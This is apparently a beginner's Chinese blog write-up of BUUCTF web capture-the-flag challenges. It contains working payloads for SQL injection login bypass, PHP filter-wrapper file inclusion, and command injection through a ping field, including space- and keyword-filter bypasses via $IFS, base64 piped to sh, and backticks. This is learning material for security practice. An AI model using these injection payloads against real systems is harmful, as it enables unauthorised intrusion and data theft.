当前位置:   article > 正文

【BUUCTF】刷题记录——(WEB篇)_buucft web-exec

buucft web-exec

新手小白,开启CTF刷题之路(持续更新)

此处主要在BUUCTF平台(BUUCTF在线评测)上开展刷题

[极客大挑战 2019]EasySQL

靶机环境就一个用户名、密码输入框,尝试输入1&1之后,发现地址栏有变化

http://b59eea79-22c4-4800-a692-7455dbad886c.node4.buuoj.cn:81/check.php?username=1&password=1

直接输入用户名admin,密码-1‘ or 1=1#试试,flag弹出

[极客大挑战 2019]Havefun

靶机页面打开就一只猫,没找到输入框之类的,随手打开源码看看,在最底下发现一串代码:

  1. <!--
  2. $cat=$_GET['cat'];
  3. echo $cat;
  4. if($cat=='dog'){
  5. echo 'Syc{cat_cat_cat_cat}';
  6. }
  7. -->

看样子是要传入参数cat,而且cat的值要是dog,且试试,构造payload

http://e1658b2b-ff2f-4d53-b1f5-fe88e66785ad.node4.buuoj.cn:81/?cat=dog

flag get

[HCTF 2018]WarmUp

靶机初始页面是一个大号的滑稽笑表情,额……查看源码,里面提示一个source.php,打开之后出现代码如下:

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }

里面还提示了一个hint.php,打开看看

尝试构造一个payload:

http://02e9a38c-0040-4e0b-928f-b1c2aa6e8e7f.node4.buuoj.cn:81/?file=filter://file=convert.base64.encode/read=ffffllllaaaagggg

返回

脑壳疼……打开source.php分析吧分析吧T T……

[ACTF2020 新生赛]Include

开局一个tips链接,点开看看

地址栏变为http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=flag.php

网页提示Can you find out the flag?

哦豁?查看网页源代码和F12,啥都莫得。这下有点挠头,再看了眼题目include……

感觉上是有个文件包含漏洞在里面,那么试试伪协议,构造一个payload:

http://ad9bda72-daf1-41db-b934-282da9f0264a.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php

果然出来一串字符串,base64解密之后获得flag

flag{33b9b7d1-d771-4421-be7a-92abb34f05b2}

[ACTF2020 新生赛]Exec

靶机原始页面给了个ping输入框,结合题目exec,应该是个命令执行漏洞了

先来个127.0.0.1 | ls,回显index.php,有戏,那么就利用;构造命令行,一直到127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cd ..;ls时出现了flag文件

再来一次127.0.0.1 | cd ..;cd ..;cd ..;cd ..;cat flag,获得flag

flag{57dea8d9-0ca7-404d-afad-774b3240fd79}

[GXYCTF2019]Ping Ping Ping

开局就给个/?ip=

???

尝试payload:/?ip=1,回显PING 1 (0.0.0.1): 56 data bytes。看起来又是命令执行漏洞了?

尝试payload:1|ls,回显

有戏,直接cat一下看看,payload:/?ip=1|cat flag.php,回显/?ip= fxck your space!

好家伙,真够文明的啊→_→,看来是过滤空格了,那么用$IFS代替空格试试,payload:/?ip=1|cat$IFSflag.php,回显/?ip= fxck your flag!

好家伙,flag也不行,看来要拼接字符串,payload:/?ip=1|x=g;cat$IFSfla$x.php,无回显。

脑壳疼……看下index.php吧

  1. /?ip=
  2. |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
  3. echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
  4. die("fxck your symbol!");
  5. } else if(preg_match("/ /", $ip)){
  6. die("fxck your space!");
  7. } else if(preg_match("/bash/", $ip)){
  8. die("fxck your bash!");
  9. } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
  10. die("fxck your flag!");
  11. }
  12. $a = shell_exec("ping -c 4 ".$ip);
  13. echo "
  14. ";
  15. print_r($a);
  16. }
  17. ?>

看起来过滤了一大堆符号、空格、bash,好像还把任何包含flag四个字符的payload也都过滤了。

好吧,姿势不够,问大佬吧

然后发现payload:/?ip=1;x=g;cat$IFS$9fla$x.php可用,flag在网页源码里头。

另外大佬们还研究出两种方法:

一、使用 base64 编码的方式来绕过 flag 过滤。

加密:echo “cat flag.php” | base64

解密:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh

尝试输入:

/?ip=210.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

二、使用内联执行(参见RCE(远程命令执行)绕过总结_rce空格绕过_Elitewa的博客-CSDN博客)的方法:将反引号内命令的输出作为输入执行,查看源码后也能得到flag

payload:/?ip=127.0.0.1;cat$IFS$1`ls`

flag为:flag{0526e947-a9ea-41ad-b202-29106ec17f3b}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/491778
推荐阅读
  

闽ICP备14008679号